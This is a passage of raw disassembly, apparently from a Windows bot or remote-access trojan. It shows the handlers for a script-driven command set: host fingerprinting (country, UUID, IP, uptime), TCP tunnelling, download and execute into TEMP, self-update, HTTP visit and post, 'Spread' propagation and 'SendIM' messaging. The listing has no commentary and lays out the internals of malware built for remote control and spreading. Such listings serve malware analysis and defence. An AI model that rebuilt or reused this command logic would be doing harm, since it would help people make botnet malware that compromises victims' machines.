		cmp	edx, [esp+8+arg_0]
		jnz	short loc_40EBD6
		pop	edi
		pop	esi

locret_40EBF1:				; CODE XREF: sub_40EBCE+4j
		retn
sub_40EBCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBF2	proc near		; CODE XREF: .text:00427FF1p
					; .text:00428009p ...
		xor	eax, eax
		push	esi
		lea	esi, [edi+10h]
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		call	sub_4099E5
		mov	eax, edi
		pop	esi
		retn
sub_40EBF2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4280CC

loc_40EC0A:				; CODE XREF: sub_4280CC+79j
		push	esi
		mov	esi, eax
		push	dword ptr [esi+10h]
		call	ds:dword_4290F0	; CloseHandle
		call	sub_413A1C
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4280CC

; =============== S U B	R O U T	I N E =======================================



sub_40EC1D	proc near		; CODE XREF: sub_411377+509p
		push	esi
		push	2
		mov	esi, eax
		push	offset aMessagebox ; "MessageBox"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307E4
		mov	eax, esi
		pop	esi
		retn
sub_40EC1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC36	proc near		; DATA XREF: .text:off_4307E4o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		mov	esi, [eax]
		call	sub_40FEFE
		mov	eax, [edi+4]
		add	eax, 4
		mov	esi, [eax]
		call	sub_40FEFE
		mov	edi, [edi+4]
		mov	eax, [edi]
		push	0
		push	dword ptr [eax+10h]
		mov	eax, [edi+4]
		push	dword ptr [eax+10h]
		push	0
		call	ds:dword_42922C	; MessageBoxA
		pop	edi
		pop	esi
		retn	4
sub_40EC36	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC70	proc near		; CODE XREF: sub_411377+56Cp
		push	esi
		push	1
		mov	esi, eax
		push	offset aSleep	; "Sleep"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307CC
		mov	eax, esi
		pop	esi
		retn
sub_40EC70	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC89	proc near		; DATA XREF: .text:off_4307CCo

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 1
		jnz	short locret_40ECA3
		mov	eax, ecx
		push	dword ptr [eax+10h]
		call	ds:dword_429084	; Sleep

locret_40ECA3:				; CODE XREF: sub_40EC89+Dj
		retn	4
sub_40EC89	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ECA6	proc near		; CODE XREF: sub_411377+53Fp
		push	esi
		push	2
		mov	esi, eax
		push	offset aRand	; "Rand"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307B8
		mov	eax, esi
		pop	esi
		retn
sub_40ECA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ECBF	proc near		; DATA XREF: .text:off_4307B8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_40ECFD
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_40ECFD
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_40D864
		pop	ecx
		cdq
		pop	ecx
		mov	ecx, [esi+108h]
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1

loc_40ECFD:				; CODE XREF: sub_40ECBF+10j
					; sub_40ECBF+19j
		pop	esi
		retn	4
sub_40ECBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ED01	proc near		; CODE XREF: sub_411377+599p
		push	esi
		push	3
		mov	esi, eax
		push	offset aTcptunnel ; "TCPTunnel"
		call	sub_413800
		mov	dword ptr [esi], offset	off_43079C
		mov	eax, esi
		pop	esi
		retn
sub_40ED01	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ED1A	proc near		; DATA XREF: .text:off_43079Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_40ED6C
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_40ED6C
		mov	eax, [eax+8]
		cmp	dword ptr [eax+8], 3
		jnz	short loc_40ED6C
		push	688h
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_40ED6C
		mov	ecx, [esi+4]
		mov	edx, [ecx+8]
		push	edi
		push	dword ptr [edx+10h]
		mov	edx, [ecx+4]
		movzx	edx, word ptr [edx+10h]
		mov	ecx, [ecx]
		movzx	ecx, word ptr [ecx+10h]
		push	edx
		push	ecx
		mov	edi, eax
		call	sub_416706
		pop	edi

loc_40ED6C:				; CODE XREF: sub_40ED1A+Ej
					; sub_40ED1A+17j ...
		pop	esi
		retn	4
sub_40ED1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ED70	proc near		; CODE XREF: sub_411377+5C6p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetidletime ; "GetIdleTime"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430784
		mov	eax, esi
		pop	esi
		retn
sub_40ED70	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ED89	proc near		; DATA XREF: .text:off_430784o
		push	esi
		mov	eax, offset dword_438140
		mov	esi, ecx
		call	sub_416B68
		mov	ecx, [esi+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40ED89	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EDAE	proc near		; CODE XREF: sub_411377+5F3p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetcountry ; "GetCountry"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430774
		mov	eax, esi
		pop	esi
		retn
sub_40EDAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDC7	proc near		; DATA XREF: .text:off_430774o

var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	7
		push	800h
		mov	esi, ecx
		call	ds:dword_42907C	; GetLocaleInfoA
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [esi+108h]
		call	sub_40FE96
		pop	esi
		leave
		retn	4
sub_40EDC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EDF5	proc near		; CODE XREF: sub_411377+620p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetuuid	; "GetUUID"
		call	sub_413800
		mov	dword ptr [esi], offset	off_43075C
		mov	eax, esi
		pop	esi
		retn
sub_40EDF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE0E	proc near		; DATA XREF: .text:off_43075Co
		push	esi
		mov	esi, ecx
		call	sub_404869
		push	eax
		mov	eax, [esi+108h]
		call	sub_40FE96
		pop	esi
		retn	4
sub_40EE0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE26	proc near		; CODE XREF: sub_411377+64Dp
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetuptime ; "GetUptime"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430820
		mov	eax, esi
		pop	esi
		retn
sub_40EE26	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE3F	proc near		; DATA XREF: .text:off_430820o
		push	esi
		mov	esi, ecx
		call	sub_4048B7
		mov	ecx, [esi+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40EE3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE5F	proc near		; CODE XREF: sub_411377+67Ap
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetip	; "GetIP"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430810
		mov	eax, esi
		pop	esi
		retn
sub_40EE5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE78	proc near		; DATA XREF: .text:off_430810o
		push	esi
		mov	esi, ecx
		call	sub_40497E
		mov	ecx, [esi+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40EE78	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EE98	proc near		; CODE XREF: sub_411377+6A7p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetsubnetmask ;	"GetSubnetMask"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307FC
		mov	eax, esi
		pop	esi
		retn
sub_40EE98	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EEB1	proc near		; DATA XREF: .text:off_4307FCo
		push	esi
		mov	esi, ecx
		call	sub_404A16
		mov	ecx, [esi+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40EEB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EED1	proc near		; CODE XREF: sub_411377+6D4p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetversion ; "GetVersion"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307DC
		mov	eax, esi
		pop	esi
		retn
sub_40EED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EEEA	proc near		; DATA XREF: .text:off_4307DCo
		push	esi
		push	offset a21	; "21"
		mov	esi, ecx
		call	sub_41D59C
		pop	ecx
		mov	ecx, [esi+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40EEEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF10	proc near		; CODE XREF: sub_411377+701p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetport	; "GetPort"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307C0
		mov	eax, esi
		pop	esi
		retn
sub_40EF10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF29	proc near		; DATA XREF: .text:off_4307C0o
		push	esi
		mov	esi, ecx
		call	sub_4048C1
		mov	ecx, [esi+108h]
		movzx	eax, ax
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF4C	proc near		; CODE XREF: sub_411377+737p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetmode	; "GetMode"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307A0
		mov	eax, esi
		pop	esi
		retn
sub_40EF4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF65	proc near		; DATA XREF: .text:off_4307A0o
		mov	eax, ds:dword_435F64
		mov	ecx, [ecx+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		retn	4
sub_40EF65	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF81	proc near		; CODE XREF: sub_411377+764p
		push	esi
		push	0
		mov	esi, eax
		push	offset aGetlinkedip ; "GetLinkedIP"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430790
		mov	eax, esi
		pop	esi
		retn
sub_40EF81	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EF9A	proc near		; DATA XREF: .text:off_430790o
		push	esi
		mov	esi, ecx
		call	sub_40BF22
		mov	ecx, [esi+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	esi
		retn	4
sub_40EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EFBA	proc near		; CODE XREF: sub_411377+791p
		push	esi
		push	0
		mov	esi, eax
		push	offset aClients	; "Clients"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430780
		mov	eax, esi
		pop	esi
		retn
sub_40EFBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EFD3	proc near		; DATA XREF: .text:off_430780o
		mov	eax, ds:dword_435F70
		mov	ecx, [ecx+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		retn	4
sub_40EFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EFEF	proc near		; CODE XREF: sub_411377+7C7p
		push	esi
		push	0
		mov	esi, eax
		push	offset aControls ; "Controls"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430768
		mov	eax, esi
		pop	esi
		retn
sub_40EFEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F008	proc near		; DATA XREF: .text:off_430768o
		mov	eax, ds:dword_435F74
		mov	ecx, [ecx+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		retn	4
sub_40F008	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F024	proc near		; CODE XREF: sub_411377+7F4p
		push	esi
		push	0
		mov	esi, eax
		push	offset aLinks	; "Links"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307E0
		mov	eax, esi
		pop	esi
		retn
sub_40F024	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F03D	proc near		; DATA XREF: .text:off_4307E0o
		mov	eax, ds:dword_435F78
		mov	ecx, [ecx+108h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		retn	4
sub_40F03D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F059	proc near		; CODE XREF: sub_411377+965p
		push	esi
		push	2
		mov	esi, eax
		push	offset aSend	; "Send"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307C4
		mov	eax, esi
		pop	esi
		retn
sub_40F059	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F072	proc near		; DATA XREF: .text:off_4307C4o
		mov	eax, offset loc_427ED2
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40F0C1
		mov	eax, [eax+4]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_40F0C1
		push	1Ch
		call	sub_41BA91
		pop	ecx
		mov	[ebp+8], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40F0C1
		mov	eax, [esi+4]
		mov	ecx, [eax+4]
		movzx	ecx, word ptr [ecx+10h]
		mov	eax, [eax]
		push	ecx
		push	dword ptr [eax+10h]
		push	3
		push	dword ptr [ebp+8]
		call	sub_416B7F

loc_40F0C1:				; CODE XREF: sub_40F072+17j
					; sub_40F072+20j ...
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F072	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F0D0	proc near		; CODE XREF: sub_411377+99Bp
		push	esi
		push	1
		mov	esi, eax
		push	offset aSearch	; "Search"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307AC
		mov	eax, esi
		pop	esi
		retn
sub_40F0D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0E9	proc near		; DATA XREF: .text:off_4307ACo

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 3
		mov	ebx, ecx
		jnz	loc_40F197
		push	esi
		call	sub_404AA9
		push	eax
		lea	esi, [ebp+var_4]
		call	sub_405C95
		call	sub_404ADB
		push	eax
		lea	esi, [ebp+arg_0]
		call	sub_405C95
		mov	esi, [edi+4]
		mov	eax, [esi]
		push	dword ptr [eax+10h]
		call	sub_41C350
		pop	ecx
		push	eax
		mov	eax, [esi]
		push	dword ptr [eax+10h]
		lea	esi, [ebp+var_4]
		call	sub_405DE6
		test	eax, eax
		jnz	short loc_40F173
		mov	edi, [edi+4]
		mov	eax, [edi]
		push	dword ptr [eax+10h]
		call	sub_41C350
		pop	ecx
		push	eax
		mov	eax, [edi]
		push	dword ptr [eax+10h]
		lea	esi, [ebp+arg_0]
		call	sub_405DE6
		test	eax, eax
		jnz	short loc_40F173
		mov	eax, [ebx+108h]
		and	dword ptr [eax+10h], 0
		mov	dword ptr [eax+8], 1
		jmp	short loc_40F182
; ---------------------------------------------------------------------------

loc_40F173:				; CODE XREF: sub_40F0E9+55j
					; sub_40F0E9+75j
		mov	eax, [ebx+108h]
		xor	ecx, ecx
		inc	ecx
		mov	[eax+10h], ecx
		mov	[eax+8], ecx

loc_40F182:				; CODE XREF: sub_40F0E9+88j
		and	dword ptr [eax+14h], 0
		lea	esi, [ebp+arg_0]
		call	sub_405CF2
		lea	esi, [ebp+var_4]
		call	sub_405CF2
		pop	esi

loc_40F197:				; CODE XREF: sub_40F0E9+14j
		pop	edi
		pop	ebx
		leave
		retn	4
sub_40F0E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F19D	proc near		; CODE XREF: sub_411377+821p
		push	esi
		push	2
		mov	esi, eax
		push	offset aDownload ; "Download"
		call	sub_413800
		mov	dword ptr [esi], offset	off_43078C
		mov	eax, esi
		pop	esi
		retn
sub_40F19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1B6	proc near		; DATA XREF: .text:off_43078Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F1E0
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F1E0
		mov	eax, [eax]
		push	0
		push	dword ptr [ecx+10h]
		push	dword ptr [eax+10h]
		call	sub_4077BF
		add	esp, 0Ch

locret_40F1E0:				; CODE XREF: sub_40F1B6+Dj
					; sub_40F1B6+16j
		retn	4
sub_40F1B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1E3	proc near		; CODE XREF: sub_411377+857p
		push	esi
		push	1
		mov	esi, eax
		push	offset aExecute	; "Execute"
		call	sub_413800
		mov	dword ptr [esi], offset	off_43077C
		mov	eax, esi
		pop	esi
		retn
sub_40F1E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F1FC	proc near		; DATA XREF: .text:off_43077Co

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F21F
		push	1
		mov	eax, ecx
		push	offset aTemp	; "TEMP"
		push	dword ptr [eax+10h]
		call	sub_4077BF
		add	esp, 0Ch

locret_40F21F:				; CODE XREF: sub_40F1FC+Dj
		retn	4
sub_40F1FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F222	proc near		; CODE XREF: sub_411377+884p
		push	esi
		push	1
		mov	esi, eax
		push	offset aUpdate	; "Update"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430764
		mov	eax, esi
		pop	esi
		retn
sub_40F222	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F23B	proc near		; DATA XREF: .text:off_430764o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F25E
		push	2
		mov	eax, ecx
		push	offset aTemp	; "TEMP"
		push	dword ptr [eax+10h]
		call	sub_4077BF
		add	esp, 0Ch

locret_40F25E:				; CODE XREF: sub_40F23B+Dj
		retn	4
sub_40F23B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F261	proc near		; CODE XREF: sub_411377+8B1p
		push	esi
		push	2
		mov	esi, eax
		push	offset aVisit	; "Visit"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430828
		mov	eax, esi
		pop	esi
		retn
sub_40F261	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F27A	proc near		; DATA XREF: .text:off_430828o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+4]
		mov	eax, [ecx]
		cmp	dword ptr [eax+8], 3
		jnz	short locret_40F297
		mov	eax, [ecx+4]
		mov	eax, [ecx]
		push	dword ptr [eax+10h]
		call	loc_407898
		pop	ecx

locret_40F297:				; CODE XREF: sub_40F27A+Dj
		retn	4
sub_40F27A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F29A	proc near		; CODE XREF: sub_411377+8DEp
		push	esi
		push	2
		mov	esi, eax
		push	offset aPost_0	; "Post"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430814
		mov	eax, esi
		pop	esi
		retn
sub_40F29A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F2B3	proc near		; DATA XREF: .text:off_430814o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F2DA
		mov	ecx, [eax+4]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F2DA
		push	dword ptr [ecx+10h]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	sub_4078F0
		pop	ecx
		pop	ecx

locret_40F2DA:				; CODE XREF: sub_40F2B3+Dj
					; sub_40F2B3+16j
		retn	4
sub_40F2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F2DD	proc near		; CODE XREF: sub_411377+90Bp
		push	esi
		push	1
		mov	esi, eax
		push	offset aSpeedtest ; "SpeedTest"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430800
		mov	eax, esi
		pop	esi
		retn
sub_40F2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F2F6	proc near		; DATA XREF: .text:off_430800o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short loc_40F323
		mov	eax, ecx
		push	dword ptr [eax+10h]
		call	sub_407949
		mov	eax, [esi+108h]
		fstp	qword ptr [eax+10h]
		pop	ecx
		mov	dword ptr [eax+8], 2

loc_40F323:				; CODE XREF: sub_40F2F6+10j
		pop	esi
		retn	4
sub_40F2F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F327	proc near		; CODE XREF: sub_411377+938p
		push	esi
		push	1
		mov	esi, eax
		push	offset aHostchildimage ; "HostChildImage"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307D8
		mov	eax, esi
		pop	esi
		retn
sub_40F327	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F340	proc near		; DATA XREF: .text:off_4307D8o
		mov	eax, offset loc_427ED2
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		mov	eax, [eax]
		cmp	dword ptr [eax+8], 3
		jnz	short loc_40F37F
		push	6BCh
		call	sub_41BA91
		pop	ecx
		mov	[ebp+8], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_40F37F
		mov	eax, [esi+4]
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		push	dword ptr [ebp+8]
		call	sub_407A31

loc_40F37F:				; CODE XREF: sub_40F340+17j
					; sub_40F340+2Dj
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F38E	proc near		; CODE XREF: sub_411377+9C8p
		push	esi
		push	1
		mov	esi, eax
		push	offset aNotifyall ; "NotifyAll"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307BC
		mov	eax, esi
		pop	esi
		retn
sub_40F38E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F3A7	proc near		; DATA XREF: .text:off_4307BCo

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		mov	esi, [eax]
		call	sub_40FEFE
		mov	edi, [edi+4]
		mov	eax, [edi]
		push	dword ptr [eax+10h]
		mov	edi, offset dword_438154
		call	sub_407FC9
		pop	edi
		pop	esi
		retn	4
sub_40F3A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F3CE	proc near		; CODE XREF: sub_411377+9FEp
		push	esi
		push	1
		mov	esi, eax
		push	offset aQuitall	; "QuitAll"
		call	sub_413800
		mov	dword ptr [esi], offset	off_4307A4
		mov	eax, esi
		pop	esi
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F3E7	proc near		; DATA XREF: .text:off_4307A4o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F407
		push	ebx
		mov	eax, ecx
		push	dword ptr [eax+10h]
		mov	ebx, offset dword_438154
		call	sub_408012
		pop	ebx

locret_40F407:				; CODE XREF: sub_40F3E7+Dj
		retn	4
sub_40F3E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F40A	proc near		; CODE XREF: sub_411377+A2Bp
		push	esi
		push	7
		mov	esi, eax
		push	offset aNew	; "New"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430794
		mov	eax, esi
		pop	esi
		retn
sub_40F40A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F423	proc near		; DATA XREF: .text:off_430794o
		mov	eax, offset loc_427ED2
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		mov	edx, [eax]
		push	3
		pop	ecx
		cmp	[edx+8], ecx
		jnz	loc_40F4D4
		mov	edx, [eax+4]
		cmp	dword ptr [edx+8], 1
		jnz	loc_40F4D4
		mov	edx, [eax+8]
		cmp	[edx+8], ecx
		jnz	short loc_40F4D4
		mov	edx, [eax+0Ch]
		cmp	[edx+8], ecx
		jnz	short loc_40F4D4
		mov	edx, [eax+10h]
		cmp	[edx+8], ecx
		jnz	short loc_40F4D4
		mov	edx, [eax+14h]
		cmp	[edx+8], ecx
		jnz	short loc_40F4D4
		mov	eax, [eax+18h]
		cmp	[eax+8], ecx
		jnz	short loc_40F4D4
		push	0F7Ch
		call	sub_41BA91
		pop	ecx
		mov	[ebp+8], eax
		xor	eax, eax
		mov	[ebp-4], eax
		cmp	[ebp+8], eax
		jz	short loc_40F4C5
		mov	eax, [esi+4]
		mov	ecx, [eax+18h]
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+14h]
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+10h]
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+0Ch]
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+8]
		push	dword ptr [ecx+10h]
		mov	ecx, [eax+4]
		movzx	ecx, word ptr [ecx+10h]
		mov	eax, [eax]
		push	ecx
		push	dword ptr [eax+10h]
		push	dword ptr [ebp+8]
		call	sub_40805D

loc_40F4C5:				; CODE XREF: sub_40F423+6Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		push	offset dword_438154
		call	sub_407F57

loc_40F4D4:				; CODE XREF: sub_40F423+19j
					; sub_40F423+26j ...
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_40F423	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F4E3	proc near		; CODE XREF: sub_411377+A58p
		push	esi
		push	1
		mov	esi, eax
		push	offset aSpread	; "Spread"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430778
		mov	eax, esi
		pop	esi
		retn
sub_40F4E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F4FC	proc near		; DATA XREF: .text:off_430778o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_40F55B
		mov	eax, ds:dword_438110
		test	eax, eax
		jnz	short loc_40F53D
		push	1Ch
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short loc_40F534
		mov	ecx, [esi+4]
		mov	ecx, [ecx]
		push	edi
		push	dword ptr [ecx+10h]
		mov	edi, eax
		call	sub_4163F9
		pop	edi
		jmp	short loc_40F536
; ---------------------------------------------------------------------------

loc_40F534:				; CODE XREF: sub_40F4FC+23j
		xor	eax, eax

loc_40F536:				; CODE XREF: sub_40F4FC+36j
		mov	ds:dword_438110, eax
		jmp	short loc_40F55B
; ---------------------------------------------------------------------------

loc_40F53D:				; CODE XREF: sub_40F4FC+17j
		mov	ecx, [ecx]
		mov	ecx, [ecx+10h]
		push	dword ptr [eax+18h]
		mov	[eax+14h], ecx
		call	ds:dword_42910C	; SetEvent
		mov	eax, ds:dword_438110
		add	eax, 10h
		call	sub_41600E

loc_40F55B:				; CODE XREF: sub_40F4FC+Ej
					; sub_40F4FC+3Fj
		pop	esi
		retn	4
sub_40F4FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F55F	proc near		; CODE XREF: sub_411377+A8Ep
		push	esi
		push	3
		mov	esi, eax
		push	offset aSendim	; "SendIM"
		call	sub_413800
		mov	dword ptr [esi], offset	off_430760
		mov	eax, esi
		pop	esi
		retn
sub_40F55F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F578	proc near		; DATA XREF: .text:off_430760o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		mov	ecx, [eax]
		cmp	dword ptr [ecx+8], 3
		jnz	short locret_40F5AF
